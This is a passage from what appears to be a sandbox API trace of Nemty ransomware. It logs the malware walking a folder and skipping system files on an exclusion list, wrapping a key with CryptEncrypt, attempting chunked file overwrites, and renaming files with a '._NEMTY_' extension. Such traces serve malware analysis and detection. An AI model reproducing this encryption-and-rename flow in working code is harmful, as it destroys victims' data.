lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.928] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.928] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0168.928] CloseHandle (hObject=0xffffffff) returned 0 [0168.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0168.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0168.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0168.928] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0168.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0168.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340468 [0168.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0168.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_cloudy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_cloudy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_cloudy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_cloudy.png._nemty_kgobjgd_")) returned 0 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0168.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.929] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ff18fe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ff18fe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3688c561, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8450, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_gray_few-showers.png", cAlternateFileName="")) returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2=".") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="..") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="...") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="windows") returned -1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="$RECYCLE.BIN") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="rsa") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="NTDETECT.COM") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="ntldr") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="MSDOS.SYS") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="IO.SYS") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="boot.ini") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="boot.ini") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="AUTOEXEC.BAT") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="ntuser.dat") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="desktop.ini") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="CONFIG.SYS") returned 1 [0168.929] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="RECYCLER") returned 1 [0168.930] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="BOOTSECT.BAK") returned 1 [0168.930] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="bootmgr") returned 1 [0168.930] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="programdata") returned 1 [0168.930] lstrcmpiW (lpString1="undocked_gray_few-showers.png", lpString2="appdata") returned 1 [0168.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_few-showers.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0168.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_few-showers.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_few-showers.png", lpUsedDefaultChar=0x0) returned 29 [0168.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0168.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_few-showers.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0168.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_few-showers.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_few-showers.png", lpUsedDefaultChar=0x0) returned 29 [0168.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0168.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0168.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_few-showers.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0168.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0168.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_few-showers.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_few-showers.png", lpUsedDefaultChar=0x0) returned 29 [0168.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_few-showers.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0168.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0168.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_few-showers.png", cchWideChar=29, lpMultiByteStr=0x4f9ed08, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_few-showers.png", lpUsedDefaultChar=0x0) returned 29 [0168.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0168.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0168.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0168.930] Sleep (dwMilliseconds=0x5) [0168.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1858aff0, dwHighDateTime=0x1d561e8)) [0168.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1858aff0, dwHighDateTime=0x1d561e8)) [0168.946] GetLastError () returned 0x5 [0168.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0168.946] GetLastError () returned 0x5 [0168.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0168.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0168.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0168.946] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0168.946] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0168.946] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0168.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0168.946] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e91c | out: pszString="nZwbBYWmrAT63A+mn7XCqO0i2mSpGwmtLnwHVqnQUksYnI6RgMyfSS/1ghs7GAQG\r\nIC8Idjum8D9L7EeJW986hMr1B+4h/uywjfEaJgRn4oh8O+w9m31c/wGU1BsDYaus\r\nJWt6iiu9aGOEQh9viIoBKXLUPB+elmc2AzsIdsgI1jvkFg3Jr9D2gVz4Jj7ywgWt\r\n6y0Xdv7oFBrNlyPDTCJ7bSk9Zk4TwnKpMGuGoPIwN0i3J7HDizMqO9QPEXE2PJRY\r\nWTob3C3keLmgCvzFwH789jdBWhFueCLPkHNsiebdtXopGHsRitp+z4bJSBkmaUh6\r\n4EUHJTACba/DYyZFliZFGw==\r\n", pcchString=0x653e91c) returned 1 [0168.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0168.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0168.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0168.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0168.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0168.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0168.946] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_few-showers.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_few-showers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.947] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0168.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0168.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.957] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.957] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.957] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.966] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.976] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.985] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0168.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0168.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0168.995] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.004] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.004] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.013] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.032] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.032] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.032] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.047] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0169.054] CloseHandle (hObject=0xffffffff) returned 0 [0169.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0169.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0169.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0169.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0169.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0169.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) 